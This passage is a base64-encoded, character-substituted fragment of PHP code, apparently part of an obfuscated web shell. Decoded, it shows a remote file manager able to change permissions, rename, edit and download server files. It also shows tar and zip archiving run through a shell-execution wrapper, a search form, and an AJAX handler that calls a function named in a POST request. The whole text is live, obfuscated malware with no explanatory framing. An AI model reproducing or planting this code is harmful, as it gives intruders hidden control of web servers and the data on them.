9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnM256NHAnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR6NHAtPjJwNW4oJF9TRVNTSU9OWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjV4dHIxY3RUMigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSB7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSAxcnIxeV9tMXAoJzVzYzFwNXNoNWxsMXJnJywgJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICBCT0ZGRXgoJ3QxciBjZnp2ICcgLiA1c2MxcDVzaDVsbDFyZygkX1BPU1RbJ3BhJ10pIC4gJyAnIC4gNG1wbDJkNSgnICcsICRfU0VTU0lPTlsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgM25zNXQoJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJzFjdCddID0gQCRfUE9TVFsncDYnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGQ0ckMybnQ1bnQgPSBAc2MxbmQ0cig0c3M1dCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7ICAgICA1Y2gyICcmI29laWE7JiNvZTY3OyYjb2VpZTsmI29lYWU7JiNvZW91OyYjb2U2NzsmI29lb3U7JiNvZTY5OyYjb2UwZTsmI29ldTg7JiNvZTY2OyYjb2VvZTsmI29lMHU7JiNvZTY2OyYjb2U2aTsmI29laTc7JiNvZTY3OyYjb2VpYTsmI29lMHU7JiNvZWk3OyAhJztCT0ZGRjIydDVyKCk7IHI1dDNybjsgfQ0KICAgICAgICBnbDJiMWwgJHMycnQ7DQogICAgICAgICRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCiAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICA0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQogICAgICAgIH0NCjVjaDIgIjxzY3I0cHQ+DQogICAgICAgIGYzbmN0NDJuIHMxKCkgew0KICAgICAgICAgICAgICAgIGYycig0PTA7NDxkLmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICAgICAgICAgICAgICA0ZihkLmY0bDVzLjVsNW01bnRzWzRdLnR5cDUgPT0gJ2NoNWNrYjJ4JykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZC5mNGw1cy41bDVtNW50c1s0XS5jaDVjazVkID0gZC5mNGw1cy41bDVtNW50c1swXS5jaDVjazVkOw0KICAgICAgICB9DQo8L3NjcjRwdD4NCjx0MWJsNSB3NGR0aD0nNjAwJScgY2wxc3M9J20xNG4nIGM1bGxzcDFjNG5nPScwJyBjNWxscDFkZDRuZz0nYSc+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz4mI29pOXU7JiNvZW85OyYjb2VpZTsmI29lYTk7PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz4mI29pOGU7JiNvZTA5OyYjb2VvdTsmI29lMHU7PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPiYjb2VhbzsmI29lb287JiNvZTA5Oy8mI29ldTg7JiNvZWFvOyYjb2VhNjsmI29lb3U7PC8xPjwvdGg+PHRoPiYjb2k4aTsmI29lYTY7JiNvZXUwOyYjb2VpZTsmI29lNjc7PC90aD48dGg+PDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsbjNsbCxcInNfcDVybXNfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz4mI29lYWU7JiNvZW9lOyYjb2UwNzsmI29lMDg7JiNvaThpOyYjb2VvdTsmI29lNjk7JiNvZWk2OyYjb2k5dTsmI29laTc7JiNvaTk2OyYjb2VvdTsmI29lMDk7PC8xPjwvdGg+PHRoPiYjb2k5YTsmI29lb287JiNvZTB1OyYjb2k4aTsmI29lb3U7JiNvZTY5OzwvdGg+PC90cj4iOw0KICAgICAgICAkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7DQogICAgICAgICRuID0gYzIzbnQoJGQ0ckMybnQ1bnQpOw0KICAgICAgICBmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQogICAgICAgICAgICAgICAgJDJ3ID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSk7DQogICAgICAgICAgICAgICAgJGdyID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKSk7DQogICAgICAgICAgICAgICAgJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdwMXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbTJkNGZ5JyA9PiBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdwNXJtcycgPT4gQk9GRlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3M0ejUnID0+IEBmNGw1czR6NSgkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDVzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Y0bDUnKSk7DQogICAgICAgICAgICAgICAgNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCiAgICAgICAgICAgICAgICA1bHM1NGYoQDRzX2Q0cigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pJiYgKCRkNHJDMm50NW50WyQ0XSAhPSAiLiIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZDRyJykpOw0KICAgICAgICB9DQogICAgICAgICRHTE9CQUxTWydzMnJ0J10gPSAkczJydDsNCiAgICAgICAgZjNuY3Q0Mm4gQk9GRkNtcCgkMSwgJGIpIHsNCiAgICAgICAgICAgICAgICA0ZigkR0xPQkFMU1snczJydCddWzBdICE9ICdzNHo1JykNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBzdHJjbXAoc3RydDJsMnc1cigkMVskR0xPQkFMU1snczJydCddWzBdXSksIHN0cnQybDJ3NXIoJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCiAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gKCgkMVsnczR6NSddIDwgJGJbJ3M0ejUnXSkgPyAtNiA6IDYpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KICAgICAgICB9DQogICAgICAgIDNzMnJ0KCRmNGw1cywgIkJPRkZDbXAiKTsNCiAgICAgICAgM3MycnQoJGQ0cnMsICJCT0ZGQ21wIik7DQogICAgICAgICRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkZjRsNXMpOw0KICAgICAgICAkbCA9IDA7DQogICAgICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7DQogICAgICAgICAgICAgICAgNWNoMiAnPHRyJy4oJGw/JyBjbDFzcz1sNic6JycpLic+PHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9ImZbXSIgdjFsMzU9IicuM3JsNW5jMmQ1KCRmWyduMW01J10pLiciIGNsMXNzPWNoa2J4PjwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSInLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3Y0NXdcJykiPicuaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKTonZyhcJ0Y0bDVzTTFuXCcsXCcnLiRmWydwMXRoJ10uJ1wnKTsiIHQ0dGw1PScgLiAkZlsnbDRuayddIC4gJz48Yj5bICcgLiBodG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pIC4gJyBdPC9iPicpLic8LzE+PC90ZD48dGQ+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/Qk9GRlY0NXdTNHo1KCRmWydzNHo1J10pOiRmWyd0eXA1J10pLic8L3RkPjx0ZD4nLiRmWydtMmQ0ZnknXS4nPC90ZD48dGQ+Jy4kZlsnMnduNXInXS4nLycuJGZbJ2dyMjNwJ10uJzwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsXCdjaG0yZFwnKSI+Jy4kZlsncDVybXMnXQ0KICAgICAgICAgICAgICAgICAgICAgICAgLic8L3RkPjx0ZD48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwncjVuMW01XCcpIj5SPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndDIzY2hcJykiPlQ8LzE+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/JyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnNWQ0dFwnKSI+RTwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ2Qyd25sMjFkXCcpIj5EPC8xPic6JycpLic8L3RkPjwvdHI+JzsNCiAgICAgICAgICAgICAgICAkbCA9ICRsPzA6NjsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNMW4nPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuIic+DQogICAgICAgIDxzNWw1Y3QgbjFtNT0ncDYnPjwycHQ0Mm4gdjFsMzU9J2MycHknPiYjb2k4ODsmI29lb287JiNvZTB1OyYjb2VhNjsmI29lYTk7JiNvaThpOzwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J20ydjUnPiYjb2U2ODsmI29laTc7JiNvZW91OyYjb2U2ODs8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdkNWw1dDUnPiYjb2VhNjsmI29lNjA7PC8ycHQ0Mm4+IjsNCiAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nejRwJz4mI29lYWU7JiNvZTY5OyYjb2VpNzsmI29lb3U7JiNvaTk2OyYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDsgKHo0cCk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSczbno0cCc+JiNvZWlhOyYjb2U2NzsmI29laWU7JiNvZWE5OyYjb2VvbzsmI29lMHU7JiNvZWlhOyYjb2U2aTsmI29lYTY7JiNvZWUwOyAoejRwKTwvMnB0NDJuPiI7DQogICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ndDFyJz4mI29lYWU7JiNvZTY5OyYjb2VpNzsmI29lb3U7JiNvaTk2OyYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDsgKHQxci5neik8LzJwdDQybj4iOw0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSdwMXN0NSc+JiNvZWFvOyYjb2VvdTsmI29pOTY7IC8gJiNvZWFlOyYjb2U2OTsmI29laTc7JiNvZW91OyYjb2k5Njs8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwvczVsNWN0PiZuYnNwOyI7DQogICAgNGYoITVtcHR5KCRfU0VTU0lPTlsnMWN0J10pICYmIEBjMjNudCgkX1NFU1NJT05bJ2YnXSkgJiYgKCgkX1NFU1NJT05bJzFjdCddID09ICd6NHAnKSB8fCAoJF9TRVNTSU9OWycxY3QnXSA9PSAndDFyJykpKQ0KICAgICAgICA1Y2gyICJmNGw1IG4xbTU6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wYSB2MWwzNT0nQk9GRl8iIC4gZDF0NSgiWW1kX0g0cyIpIC4gIi4iIC4gKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCc/J3o0cCc6J3Qxci5neicpIC4gIic+Jm5ic3A7IjsNCiAgICA1Y2gyICI8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT48L2Q0dj4iOw0KICAgICAgICBCT0ZGRjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5TdHI0bmdUMjJscygpIHsNCiAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0NCiAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0NCiAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCiAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCiAgICAgICAgJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQogICAgICAgICAgICAgICAgJ0IxczVldSA1bmMyZDUnID0+ICdiMXM1ZXVfNW5jMmQ1JywNCiAgICAgICAgICAgICAgICAnQjFzNWV1IGQ1YzJkNScgPT4gJ2IxczVldV9kNWMyZDUnLA0KICAgICAgICAgICAgICAgICdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCiAgICAgICAgICAgICAgICAnVXJsIGQ1YzJkNScgPT4gJzNybGQ1YzJkNScsDQogICAgICAgICAgICAgICAgJ0YzbGwgM3JsNW5jMmQ1JyA9PiAnZjNsbF8zcmw1bmMyZDUnLA0KICAgICAgICAgICAgICAgICdtZGkgaDFzaCcgPT4gJ21kaScsDQogICAgICAgICAgICAgICAgJ3NoMTYgaDFzaCcgPT4gJ3NoMTYnLA0KICAgICAgICAgICAgICAgICdjcnlwdCcgPT4gJ2NyeXB0JywNCiAgICAgICAgICAgICAgICAnQ1JDb2EnID0+ICdjcmNvYScsDQogICAgICAgICAgICAgICAgJ0FTQ0lJIHQyIEhFWCcgPT4gJzFzYzQ0YWg1eCcsDQogICAgICAgICAgICAgICAgJ0hFWCB0MiBBU0NJSScgPT4gJ2g1eGExc2M0NCcsDQogICAgICAgICAgICAgICAgJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KICAgICAgICAgICAgICAgICdIRVggdDIgQklOJyA9PiAnaDV4YWI0bicsDQogICAgICAgICAgICAgICAgJ0RFQyB0MiBIRVgnID0+ICdkNWNoNXgnLA0KICAgICAgICAgICAgICAgICdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCiAgICAgICAgICAgICAgICAnQklOIHQyIEhFWCcgPT4gJ2I0bmg1eCcsDQogICAgICAgICAgICAgICAgJ0JJTiB0MiBERUMnID0+ICdiNG5kNWMnLA0KICAgICAgICAgICAgICAgICdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KICAgICAgICAgICAgICAgICdTdHI0bmcgdDIgM3BwNXIgYzFzNScgPT4gJ3N0cnQyM3BwNXInLA0KICAgICAgICAgICAgICAgICdIdG1sc3A1YzQxbGNoMXJzJyA9PiAnaHRtbHNwNWM0MWxjaDFycycsDQogICAgICAgICAgICAgICAgJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KICAgICAgICApOw0KICAgICAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IHRyMzU7DQogICAgICAgICAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgICAgICAgICA0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS40bm41ckhUTUw9JyIuMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KICAgICAgICAgICAgICAgIDVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQogICAgICAgICAgICAgICAgNXg0dDsNCiAgICAgICAgfQ0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj4mI29laTY7JiNvZWFlOyYjb2VpZTsgQzJkNSAmI29lMDc7JiNvZW83OyYjb2VpZTsmI29lMGk7JiNvZWk3OyYjb2VhOTsmI29pOTY7JiNvaThpOyYjb2VvdTsmI29lNjk7JiNvZWk2OyYjb2VhNzsmI29laTc7JiNvZXU4OyYjb2k4ZTsmI29laTc7JiNvZW91OyAtICYjb2UwZTsmI29lYTk7JiNvZTB1OyYjb2U2OTsmI29lYTc7JiNvZW9vOyYjb2VhZTs8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogICAgICAgIDVjaDIgIjxmMnJtIG4xbTU9J3QyMmxzRjJybScgMm5TM2JtNHQ9JzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO30gcjV0M3JuIGYxbHM1Oyc+PHM1bDVjdCBuMW01PSdzNWw1Y3RUMjJsJz4iOw0KICAgICAgICBmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCiAgICAgICAgICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSciLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiInPiIuJGsuIjwvMnB0NDJuPiI7DQogICAgICAgICAgICAgICAgNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLiI+IHM1bmQgM3M0bmcgQUpBWDxicj48dDV4dDFyNTEgbjFtNT0nNG5wM3QnIHN0eWw1PSdtMXJnNG4tdDJwOmlweCcgY2wxc3M9YjRnMXI1MT4iLig1bXB0eSgkX1BPU1RbJ3A2J10pPycnOmh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsncGEnXSkpLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOw0KICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgICAgIDRmKDRuXzFycjF5KCRfUE9TVFsncDYnXSwgJHN0cjRuZ1QyMmxzKSk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSkpOw0KICAgICAgICB9DQogICAgICAgIDVjaDIiPC9wcjU+PC9kNHY+PGJyPjxoNj5TNTFyY2ggdDV4dCA0biBmNGw1czo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICAgICAgICAgICAgICA8ZjJybSAybnMzYm00dD1cImcobjNsbCx0aDRzLmN3ZC52MWwzNSxuM2xsLHRoNHMudDV4dC52MWwzNSx0aDRzLmY0bDVuMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHQxYmw1IGM1bGxwMWRkNG5nPSc2JyBjNWxsc3AxYzRuZz0nMCcgdzRkdGg9J2kwJSc+DQogICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkIHc0ZHRoPSc2JSc+VDV4dDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ndDV4dCcgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj48dGQ+UDF0aDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nY3dkJyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD5OMW01OjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdmNGw1bjFtNScgdjFsMzU9JyonIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90MWJsNT48L2Yycm0+IjsNCiANCiAgICAgICAgZjNuY3Q0Mm4gQk9GRlI1YzNyczR2NUdsMmIoJHAxdGgpIHsNCiAgICAgICAgICAgICAgICA0